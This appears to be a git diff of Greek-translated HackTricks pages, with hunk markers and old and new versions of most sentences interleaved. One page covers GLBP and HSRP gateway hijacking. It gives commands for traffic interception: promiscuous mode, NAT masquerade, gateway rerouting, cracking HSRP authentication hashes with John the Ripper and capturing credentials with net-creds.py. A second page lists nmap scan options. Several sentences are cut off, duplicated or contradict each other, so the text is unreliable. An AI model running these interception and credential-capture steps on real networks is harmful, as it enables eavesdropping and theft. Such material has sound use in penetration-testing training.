* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
## Επισκόπηση FHRP Hijacking
{% embed url="https://websec.nl/" %}
## Επισκόπηση Απάτης FHRP Hijacking
### Εισαγωγή στο FHRP
Το FHRP σχεδιάστηκε για να παρέχει ανθεκτικότητα δικτύου συγχωνεύοντας πολλούς δρομολογητές σε μια μονάδα εικονικού δρομολογητή, βελτιώνοντας έτσι την κατανομή φορτίου και την ανοχή σφαλμάτων. Η Cisco Systems εισήγαγε πρωτόκολλα όπως το GLBP και το HSRP σε αυτήν τη σουίτα.
Το FHRP σχεδιάστηκε για να παρέχει ανθεκτικότητα δικτύου με τη συγχώνευση πολλαπλών δρομολογητών σε μια εικονική μονάδα, βελτιώνοντας έτσι τη διανομή φορτίου και την ανοχή σφαλμάτων. Η Cisco Systems εισήγαγε πρωτόκολλα όπως το GLBP και το HSRP σε αυτή τη σουίτα.
### Εισαγωγή στο πρωτόκολλο GLBP
Το GLBP, που δημιουργήθηκε από την Cisco, λειτουργεί στο στοίβα TCP/IP, χρησιμοποιώντας το UDP στη θύρα 3222 για την επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Αν ένας δρομολογητής αποτύχει να στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, θεωρείται ότι είναι εκτός σύνδεσης. Ωστόσο, αυτοί οι χρονοδιακόπτες δεν είναι σταθεροί και μπορούν να τροποποιηθούν.
### Εισαγωγή στο Πρωτόκολλο GLBP
Η δημιουργία της Cisco, το GLBP, λειτουργεί στο στοίβα TCP/IP, χρησιμοποιώντας UDP στη θύρα 3222 για την επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Αν ένας δρομολογητής αποτύχει να στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, υποθέτεται ότι είναι εκτός λειτουργίας. Ωστόσο, αυτοί οι χρονομετρητές δεν είναι σταθεροί και μπορούν να τροποποιηθούν.
### Λειτουργίες και κατανομή φορτίου του GLBP
Το GLBP ξεχωρίζει δυναμικά επιτρέποντας την κατανομή φορτίου σε δρομολογητές χρησιμοποιώντας ένα μόνο εικονικό IP συνδυασμένο με πολλές εικονικές διευθύνσεις MAC. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Αντίθετα από το HSRP/VRRP, το GLBP προσφέρει πραγματική ισορροπία φορτίου μέσω αρκετών μηχανισμών:
### Λειτουργίες και Διανομή Φορτίου του GLBP
Το GLBP ξεχωρίζει επιτρέποντας τη διανομή φορτίου σε δρομολογητές χρησιμοποιώντας ένα εικονικό IP συνδεδεμένο με πολλές εικονικές διευθύνσεις MAC. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Αντίθετα με το HSRP/VRRP, το GLBP προσφέρει γνήσια ισορροπία φορτίου μέσω διαφόρων μηχανισμών:
- **Ισορροπία φορτίου ανάλογα με τον κόμβο:** Διατηρεί σταθερή ανάθεση διεύθυνσης MAC AVF σε έναν κόμβο, απαραίτητη για σταθερές ρυθμίσεις NAT.
- **Ισορροπία φορτίου με τη μέθοδο Round-Robin:** Η προεπιλεγμένη προσέγγιση, εναλλαγή ανάθεσης διεύθυνσης MAC AVF μεταξύ των αιτούντων κόμβων.
- **Ισορροπία φορτίου με τη μέθοδο Weighted Round-Robin:** Διανέμει το φορτίο με βάση προκαθορισμένες μετρικές "Weight".
- **Ισορροπία Φορτίου Εξαρτημένη από τον Χρήστη:** Διατηρεί σταθερή ανάθεση διεύθυνσης MAC AVF σε έναν υπολογιστή, το οποίο είναι ουσιώδες για σταθερές ρυθμίσεις NAT.
- **Ισορροπία Φορτίου Round-Robin:** Η προεπιλεγμένη προσέγγιση, εναλλάσσει την ανάθεση διεύθυνσης MAC AVF μεταξύ των αιτούντων υπολογιστών.
- **Ισορροπία Φορτίου Με Βάρη Round-Robin:** Διανέμει το φορτίο με βάση τις προκαθορισμένες μετρικές "Βάρος".
### Κύρια στοιχεία και ορολογία στο GLBP
- **AVG (Active Virtual Gateway):** Ο κύριος δρομολογητής, υπεύθυνος για την ανάθεση διευθύνσεων MAC σε δρομολογητές ομοτίμους.
- **AVF (Active Virtual Forwarder):** Ένας δρομολογητής που έχει οριστεί για τη διαχείριση της κίνησης του δικτύου.
- **Προτεραιότητα GLBP:** Μετρική που καθορίζει τον AVG, ξεκινώντας από την προεπιλεγμένη τιμή 100 και κυμαίνεται από 1 έως 255.
- **Βάρος GLBP:** Αντικατοπτρίζει το τρέχον φορτίο ενός δρομολογητή, ρυθμίζεται είτε χειροκίνητα είτε μέσω ανίχνευσης αντικειμένου.
- **Εικονική διεύθυνση IP GLBP:** Λειτουργεί ως προεπιλεγμένη πύλη δικτύου για όλες τις συνδεδεμένες συσκευές.
### Κύρια Στοιχεία και Ορολογίες στο GLBP
- **AVG (Ενεργή Εικονική Πύλη):** Ο κύριος δρομολογητής, υπεύθυνος για την ανάθεση διευθύνσεων MAC σε δρομολογητές ομότιμους.
- **AVF (Ενεργός Εικονικός Προωθητής):** Ένας δρομολογητής που έχει οριστεί για τη διαχείριση της κίνησης στο δίκτυο.
- **Προτεραιότητα GLBP:** Μετρική που καθορίζει τον AVG, ξεκινώντας από προεπιλεγμένη τιμή 100 και κυμαίνεται μεταξύ 1 και 255.
- **Βάρος GLBP:** Αντικατοπτρίζει το τρέχον φορτίο σε ένα δρομολογητή, ρυθμίσιμο είτε χειροκίνητα είτε μέσω Ανίχνευσης Αντικειμένου.
- **Εικονική Διεύθυνση IP GLBP:** Λειτουργεί ως προεπιλεγμένη πύλη για όλες τις συνδεδεμένες συσκευές.
Για τις αλληλεπιδράσεις, το GLBP χρησιμοποιεί την ειδική διεύθυνση πολυεκπομπής 224.0.0.102 και τη θύρα UDP 3222. Οι δρομολογητές μεταδίδουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων και θεωρούνται μη λειτουργικοί αν χάσουν ένα πακέτο για 10 δευτερόλεπτα.
Για τις αλληλεπιδράσεις, το GLBP χρησιμοποιεί την ειδική διεύθυνση πολυεκπομπής 224.0.0.102 και τη θύρα UDP 3222. Οι δρομολογητές μεταδίδουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων και θεωρούνται μη λειτουργικοί αν χάσουν ένα πακέτο για διάρκεια 10 δευτερολέπτων.
### Μηχανισμός επίθεσης GLBP
Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής αποστέλλοντας ένα πακέτο GLBP με την υψηλότερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε επιθέσεις DoS ή MITM, επιτρέποντας την παρεμπόδιση ή την ανακατεύθυνση της κίνησης.
### Μηχανισμός Επίθεσης GLBP
Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής αποστέλλοντας ένα πακέτο GLBP με τη μεγαλύτερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε επιθέσεις DoS ή MITM, επιτρέποντας την παρεμπόδιση ή την ανακατεύθυνση της κίνησης.
### Ε
### Εκτέλεση Επίθεσης GLBP με το Loki
Το [Loki](https://github.com/raizo62/loki_on_kali) μπορεί να εκτελέσει μια επίθεση GLBP με την εισαγωγή ενός πακέτου με τις τιμές προτεραιότητας και βάρους ορισμένες σε 255. Οι προεπιθετικές ενέργειες περιλαμβάνουν τη συλλογή πληροφοριών όπως η εικονική διεύθυνση IP, η παρουσία πιστοποίησης και οι τιμές προτεραιότητας δρομολογητών χρησιμοποιώντας εργαλεία όπως το Wireshark.
Βήματα Επίθεσης:
1. Αλλαγή σε προωθητική λειτουργία και ενεργοποίηση προώθησης IP.
2. Αναγνώριση του στόχου δρομολογητή και ανάκτηση της IP του.
3. Δημιουργία ενός Gratuitous ARP.
4. Εισαγωγή ενός κακόβουλου πακέτου GLBP, παριστάνοντας τον AVG.
5. Ανάθεση δευτερεύουσας διεύθυνσης IP στη διεπαφή δικτύου του επιτιθέμενου, αντικατοπτρίζοντας την εικονική διεύθυνση IP του GLBP.
6. Εφαρμογή SNAT για πλήρη ορατότητα της κίνησης.
7. Προσαρμογή δρομολόγησης για να διασφαλιστεί η συνεχής πρόσβαση στο διαδίκτυο μέσω του αρχικού δρομολογητή AVG.
Ακολουθώντας αυτά τα βήματα, ο επιτιθέμενος τοποθετείται ως "άνθρωπος στη μέση", ικανός να παρεμβαίνει και να αναλύει την κίνηση του δικτύου, συμπεριλαμβανομένων μη κρυπτογραφημένων ή ευαίσθητων δεδομένων.
Για επίδειξη, παρακάτω παρατίθενται τα απαιτούμενα αποσπάσματα εντολών:
```bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
@ -56,28 +73,26 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
Η παρακολούθηση και η παρέμβαση στην κίνηση μπορεί να γίνει χρησιμοποιώντας το net-creds.py ή παρόμοια εργαλεία για την καταγραφή και ανάλυση των δεδομένων που ρέουν μέσω του πειρατεμένου δικτύου.
### Παθητική Εξήγηση της Απάτης HSRP με Λεπτομέρειες Εντολών
### Παθητική Εξήγηση της Απαγωγής του HSRP με Λεπτομέρειες Εντολών
#### Επισκόπηση του HSRP (Hot Standby Router/Redundancy Protocol)
Το HSRP είναι ένα πρωτόκολλο ιδιοκτησίας της Cisco σχεδιασμένο για την αντιγραφή ασφάλειας της πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε μια μόνο λογική μονάδα με κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν πρωταρχικό δρομολογητή που είναι υπεύθυνος για την κατεύθυνση της κίνησης. Αντίθετα από το GLBP, που χρησιμοποιεί μετρικές όπως προτεραιότητα και βάρος για την ισορροπία φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κίνησης.
Το HSRP είναι ένα πρωτόκολλο που ανήκει στην Cisco σχεδιασμένο για την αντιγραφή ασφάλειας της πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε ένα μόνο λογικό μονάδα με κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν κύριο δρομολογητή που είναι υπεύθυνος για την καθοδήγηση της κίνησης. Αντίθετα με το GLBP, το οποίο χρησιμοποιεί μετρήσεις όπως προτεραιότητα και βάρος για την ισορροπία φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κίνησης.
#### Ρόλοι και Ορολογία στο HSRP
- **Ενεργός Δρομολογητής HSRP**: Η συσκευή που λειτουργεί ως πύλη και διαχειρίζεται τη ροή της κίνησης.
- **Δρομολογητής Εφεδρικού HSRP**: Ένας αντιγραφής ασφαλείας δρομολογητής, έτοιμος να αναλάβει τον ρόλο του ενεργού δρομολογητή σε περίπτωση αποτυχίας.
- **Ομάδα HSRP**: Ένα σύνολο δρομολογητών που συνεργάζονται για τον σχηματισμό ενός μόνο ανθεκτικού εικονικού δρομολογητή.
- **Ενεργός Δρομολογητής HSRP**: Η συσκευή που λειτουργεί ως πύλη, διαχειρίζεται τη ροή της κίνησης.
- **Δευτερεύων Δρομολογητής HSRP**: Ένας εφεδρικός δρομολογητής, έτοιμος να αναλάβει τον ρόλο αν ο ενεργός δρομολογητής αποτύχει.
- **Ομάδα HSRP**: Ένα σύνολο δρομολογητών που συνεργάζονται για το σχηματισμό ενός μοναδικού ανθεκτικού εικονικού δρομολογητή.
- **Διεύθυνση MAC HSRP**: Μια εικονική διεύθυνση MAC που ανατίθεται στον λογικό δρομολογητή στη διάταξη HSRP.
- **Εικονική Διεύθυνση IP HSRP**: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές.
- **Εικονική Διεύθυνση IP HSRP**: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως η προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές.
#### Εκδόσεις HSRP
Το HSRP έχει δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα της ομάδας, τη χρήση πολυεκπομπής IP και τη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες διευθύνσεις πολυεκπομπής IP για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που αποστέλλονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός εάν δεν λάβει κανένα πακέτο εντός 10 δευτερολέπτων.
Το HSRP έρχεται σε δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα ομάδας, στη χρήση διεύθυνσης IP πολυεκπομπής και στη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες διευθύνσεις IP πολυεκπομπής για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που στέλνονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός εάν δεν λάβει κανένα πακέτο εντός ενός χρονικού διαστήματος 10 δευτερολέπτων.
#### Μηχανισμός Επίθεσης HSRP
Οι επιθέσεις HSRP περιλαμβάνουν την ανάληψη με βία του ρόλου του Ενεργού Δρομολογητή εισάγοντας μια μέγιστη τιμή προτεραιότητας. Αυτό μπορεί να οδηγήσει σε μια επίθεση Man-In-The-Middle (MITM). Ουσιαστικά βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με τη διάταξη HSRP, το οποίο μπορεί να γίνει χρησιμοποιώντας το Wireshark για την ανάλυση της κίνησης.
Οι επιθέσεις HSRP περιλαμβάνουν την ανάληψη βίαια του ρόλου του Ενεργού Δρομολογητή με την εισαγωγή μέγιστης τιμής προτεραιότητας. Αυτό μπορεί να οδηγήσει σε επίθεση Man-In-The-Middle (MITM). Οι βασικές βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με τη διάταξη του HSRP, το οποίο μπορεί να γίνει χρησιμοποιώντας το Wireshark για ανάλυση της κίνησης.
#### Βήματα για την Παράκαμψη Πιστοποίησης HSRP
1. Αποθηκεύστε την κίνηση του δικτύου που περιέχει δεδομένα HSRP ως αρχείο .pcap.
1. Αποθηκεύστε την κίνηση δικτύου που περιέχει δεδομένα HSRP ως αρχείο .pcap.
```shell
tcpdump -w hsrp_traffic.pcap
```
@ -85,18 +100,40 @@ tcpdump -w hsrp_traffic.pcap
```shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
```
3. Αποκρυπτογραφήστε τις κατακερματισμένες τιμές MD5 χρησιμοποιώντας το John the Ripper.
3. Κρυπτογραφήστε τις τιμές MD5 χρησιμοποιώντας το John the Ripper.
```shell
john --wordlist=mywordlist.txt hsrp_hashes
```
**Εκτέλεση Ενέργειας Εισαγωγής HSRP με το Loki**
**Εκτέλεση Εισαγωγής HSRP με το Loki**
1. Ξεκινήστε το Loki για να εντοπίσετε τις διαφημίσεις HSRP.
2. Ορίστε τη δικτυακή διεπαφή σε λειτουργία promiscuous και ενεργοποιήστε την προώθηση IP.
1. Εκκινήστε το Loki για να αναγνωρίσετε τις διαφημίσεις HSRP.
2. Ορίστε τη διεπαφή δικτύου σε λειτουργία προωθημένης λήψης και ενεργοποιήστε την προώθηση IP.
```shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
```
3. Χρησιμοποιήστε το Loki για να επιτεθείτε στον συγκεκριμένο δρομολογητή, εισαγάγετε το αποκρυπτογραφημένο HSRP κωδικό πρόσβασης και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να προσομοιώσετε τον Ενεργό Δρομολογητή.
4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη
3. Χρησιμοποιήστε το Loki για να στοχεύσετε τον συγκεκριμένο δρομολογητή, εισαγάγετε τον κατεστραμμένο κωδικό HSRP και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να υποκαταστήσετε τον Ενεργό Δρομολογητή.
4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη διεπαφή δικτύου και τους πίνακες IP για να παρεμβάλετε τη νόμιμη κίνηση.
```shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
5. Τροποποιήστε τον πίνακα δρομολόγησης για να δρομολογήσετε την κίνηση μέσω του προηγούμενου Ενεργού Δρομολογητή.
```shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
6. Χρησιμοποιήστε το net-creds.py ή ένα παρόμοιο εργαλείο για να καταγράψετε διαπιστευτήρια από την παρεμβαλλόμενη κίνηση.
```shell
sudo python2 net-creds.py -i eth0
```
Η εκτέλεση αυτών των βημάτων τοποθετεί τον επιτιθέμενο σε μια θέση για να παρεμβαίνει και να χειρίζεται την κίνηση, παρόμοια με τη διαδικασία για την απαγωγή του GLBP. Αυτό υπογραμμίζει την ευπάθεια σε πρωτόκολλα αντιγραφής ασφάλειας όπως το HSRP και την ανάγκη για ανθεκτικά μέτρα ασφαλείας.
## Αναφορές
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -4,60 +4,78 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```
## Παράμετροι
### Διευθύνσεις IP για σάρωση
### IPs για σάρωση
* **`<ip>,<net/mask>`:** Δηλώνει τις διευθύνσεις IP απευθείας
* **`-iL <ips_file>`:** Λίστα_IPs
* **`-iR <number>`**: Αριθμός τυχαίων IPs, μπορείτε να αποκλείσετε πιθανά IPs με `--exclude <Ips>` ή `--excludefile <file>`.
* **`<ip>,<net/mask>`:** Δείχνει τις διευθύνσεις ip απευθείας
* **`-iL <ips_file>`:** list\_IPs
* **`-iR <number>`**: Αριθμός τυχαίων Ips, μπορείτε να εξαιρέσετε πιθανές Ips με `--exclude <Ips>` ή `--excludefile <file>`.
### Ανακάλυψη εξοπλισμού
Από προεπιλογή, το Nmap ξεκινά μια φάση ανακάλυψης που αποτελείται από: `-PA80 -PS443 -PE -PP`
* **`-sL`**: Δεν είναι επεμβατικό, καταγράφει τους στόχους κάνοντας αιτήσεις **DNS** για την ανάλυση ονομάτων. Είναι χρήσιμο για να γνωρίζουμε αν, για παράδειγμα, όλες οι διευθύνσεις IP www.prueba.es/24 είναι οι στόχοι μας.
* **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλες είναι ενεργές (αλλιώς μπορείτε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδείς αρνητικά λέγοντας ότι δεν είναι ενεργές), αποτρέπει τη φάση ανακάλυψης.
* **`-sn`** : **Χωρίς σάρωση θυρών**. Αφού ολοκληρωθεί η φάση αναγνώρισης, δεν γίνεται σάρωση θυρών. Είναι σχετικά αόρατο και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια, στέλνει ένα ACK (-PA) στη θύρα 80, ένα SYN(-PS) στη θύρα 443 και ένα αίτημα echo και ένα αίτημα Timestamp, χωρίς προνόμια ολοκληρώνει πάντα τις συνδέσεις. Αν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Αν χρησιμοποιηθεί με μια άλλη επιλογή, μόνο τα πακέτα της άλλης επιλογής απορρίπτονται.
* **`-PR`**: **Ping ARP**. Χρησιμοποιείται από προεπιλογή κατά την ανάλυση υπολογιστών στο δίκτυό μας, είναι πιο γρήγορο από τη χρήση pings. Αν δεν θέλετε να χρησιμοποιήσετε πακέτα ARP, χρησιμοποιήστε `--send-ip`.
* **`-PS <ports>`**: Στέλνει πακέτα SYN σε θύρες, αν απαντήσει με SYN/ACK είναι ανοιχτή (απαντά με RST για να μην τερματίσει τη σύνδεση), αν απαντήσει με RST είναι κλειστή και αν δεν απαντήσει είναι μη προσβάσιμη. Σε περίπτωση έλλειψης προνομίων, χρησιμοποιείται αυτόματα μια ολοκληρωμένη σύνδεση. Αν δεν δοθούν θύρες, το στέλνει στη θύρα 80.
* **`-PA <ports>`**: Όπως το προηγούμενο αλλά με ACK, η συνδυασμένη χρήση και των δύο δίνει καλύτερα αποτελέσματα.
* **`-PU <ports>`**: Ο στόχος είναι το αντίθετο, στέλνονται σε θύρες που αναμένεται να είναι κλειστές. Ορισμένα τείχη προστασίας ελέγχουν μόνο τις συνδέσεις TCP. Αν είναι κλειστή, απαντά με port unreachable, αν απαντά με άλλο icmp ή δεν απαντά, θεωρείται ότι είναι μη προσβάσιμη.
* **`-PE, -PP, -PM`** : ICMP PINGS: απάντηση echo, timestamp και addresmask. Αποστέλλονται για να διαπιστωθεί αν ο στόχος είναι ενεργός.
* **`-PY<ports>`**: Αποστέλλει προβολές SCTP INIT στη θύρα 80 από προεπιλογή, μπορεί να απαντήσε
**--osscan-guess** Όταν η ανίχνευση του λειτουργικού συστήματος δεν είναι τέλεια, αυτή η επιλογή τον αναγκάζει να προσπαθήσει περισσότερο.
* **`-sL`**: Δεν είναι επεμβατικό, καταχωρεί τους στόχους κάνοντας αιτήσεις **DNS** για την ανάλυση ονομάτων. Είναι χρήσιμο για να μάθετε αν για παράδειγμα το www.prueba.es/24 όλες οι Ips είναι οι στόχοί μας.
* **`-Pn`**: **Χωρίς ping**. Αυτό είναι χρήσιμο αν γνωρίζετε ότι όλα είναι ενεργά (αλλιώς, θα μπορούσατε να χάσετε πολύ χρόνο, αλλά αυτή η επιλογή παράγει επίσης ψευδείς αρνητικά λέγοντας ότι δεν είναι ενεργά), αποτρέπει τη φάση ανακάλυψης.
* **`-sn`** : **Χωρίς σάρωση θυρών**. Μετά την ολοκλήρωση της φάσης αναγνώρισης, δεν σαρώνει θύρες. Είναι σχετικά αθόρυβο και επιτρέπει μια μικρή σάρωση δικτύου. Με προνόμια στέλνει ένα ACK (-PA) στη θύρα 80, ένα SYN(-PS) στη θύρα 443 και μια αίτηση echo και μια αίτηση Timestamp, χωρίς προνόμια πάντα ολοκληρώνει συνδέσεις. Εάν ο στόχος είναι το δίκτυο, χρησιμοποιεί μόνο ARP(-PR). Εάν χρησιμοποιηθεί με μια άλλη επιλογή, πέφτουν μόνο τα πακέτα της άλλης επιλογής.
* **`-PR`**: **Ping ARP**. Χρησιμοποιείται από προεπιλογή κατά την ανάλυση υπολογιστών στο δίκτυό μας, είναι ταχύτερο από τη χρήση pings. Εάν δεν θέλετε να χρησιμοποιήσετε πακέτα ARP, χρησιμοποιήστε `--send-ip`.
* **`-PS <ports>`**: Αποστέλλει πακέτα SYN στα οποία αν απαντήσει με SYN/ACK είναι ανοιχτή (στα οποία απαντά με RST για να μην ολοκληρωθεί η σύνδεση), αν απαντά με RST είναι κλειστή και αν δεν απαντά είναι μη προσβάσιμη. Σε περίπτωση που δεν υπάρχουν προνόμια, χρησιμοποιείται αυτόματα μια συνολική σύνδεση. Εάν δεν δίνονται θύρες, το αποστέλλει στη θύρα 80.
* **`-PA <ports>`**: Όπως το προηγούμενο αλλά με ACK, συνδυάζοντας και τα δύο δίνει καλύτερα αποτελέσματα.
* **`-PU <ports>`**: Το αντίθετο, αποστέλλονται σε θύρες που αναμένεται να είναι κλειστές. Κάποια firewalls ελέγχουν μόνο τις συνδέσεις TCP. Εάν είναι κλειστό απαντά με port unreachable, εάν απαντά με άλλο icmp ή δεν απαντά αφήνεται ως προορισμός μη προσβάσιμος.
* **`-PE, -PP, -PM`** : ICMP PINGS: απάντηση echo, timestamp και addresmask. Αποστέλλονται για να μάθουμε αν ο στόχος είναι ενεργός.
* **`-PY<ports>`**: Αποστέλλει SCTP INIT probes στη θύρα 80 από προεπιλογή, INIT-ACK(ανοιχτή) ή ABORT(κλειστή) ή τίποτα ή ICMP unreachable(ανενεργή) μπορεί να απαντηθεί.
* **`-PO <protocols>`**: Υποδεικνύεται ένα πρωτόκολλο στα headers, από προεπιλογή 1(ICMP), 2(IGMP) και 4(Encap IP). Για τα πρωτόκολλα ICMP, IGMP, TCP (6) και UDP (17) αποστέλλονται τα headers των πρωτοκόλλων, για τα υπόλοιπα αποστέλλεται μόνο το IP header. Ο σκοπός αυτού είναι ότι λόγω της ανωμαλίας των headers, απαντώνται πρωτόκολλα unreachable ή απαντήσεις του ίδιου πρωτοκόλλου για να γνωρίζουμε αν είναι ενεργό.
* **`-n`**: Χωρίς DNS
* **`-R`**: Πάντα DNS
**Σενάρια**
### Τεχνικές σάρωσης θυρών
\--script _\<όνομα αρχείου>_|_\<κατηγορία>_|_\<φάκελος>_|_\<έκφραση>_\[,...]
* **`-sS`**: Δεν ολοκληρώνει τη σύνδεση έτσι δεν αφήνει ίχνη, πολύ καλό αν μπορεί να χρησιμοποιηθεί (προνόμια) Είναι αυτό που χρησιμοποιείται από προεπιλογή.
* **`-sT`**: Ολοκληρώνει τη σύνδεση, οπότε αφήνει ίχνη, αλλά μπορεί να χρησιμοποιηθεί με βεβαιότητα. Από προεπιλογή χωρίς προνόμια.
* **`-sU`**: Πιο αργό, για UDP. Κυρίως: DNS(53), SNMP(161,162), DHCP(67 και 68), (-sU53,161,162,67,68): ανοιχτή(απάντηση), κλειστή(port unreachable), φιλτραρισμένη (άλλο ICMP), ανοιχτή/φιλτραρισμένη (τίποτα). Σε περίπτωση ανοιχτής/φιλτραρισμένης, το -sV αποστέλλει πολλαπλά αιτήματα για να ανιχνεύσει οποιαδήποτε από τις εκδόσεις που υποστηρίζει το nmap και μπορεί να ανιχνεύσει την πραγματική κατάσταση. Αυξάνει πολύ τον χρόνο.
* **`-sY`**: Το πρωτόκολλο SCTP αποτυγχάνει να καθιερώσει τη σύνδεση, έτσι δεν υπάρχουν καταγραφές, λειτουργεί όπως το -PY
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, μπορούν να διεισδύσουν σε μερικούς firewalls και να εξάγουν πληροφορίες. Βασίζονται στο γεγονός ότι μη συμμορφούμενες μηχανές θα έπρεπε να απαντούν με RST σε όλα τα αιτήματα που δεν έχουν ανασηκωμένες σημαίες SYN, RST ή ACK: ανοιχτή/φιλτραρισμένη(τίποτα), κλειστή(RST), φιλτραρισμένη (ICMP unreachable). Αναξιόπιστο σε Windows, CIsco, BSDI και OS/400. Σε unix ναι.
* **`-sM`**: Maimon scan: Αποστέλλει σημαίες FIN και ACK, χρησιμοποιείται για BSD, αυτή τη στιγμή θα επιστρέψει όλα ως κλειστά.
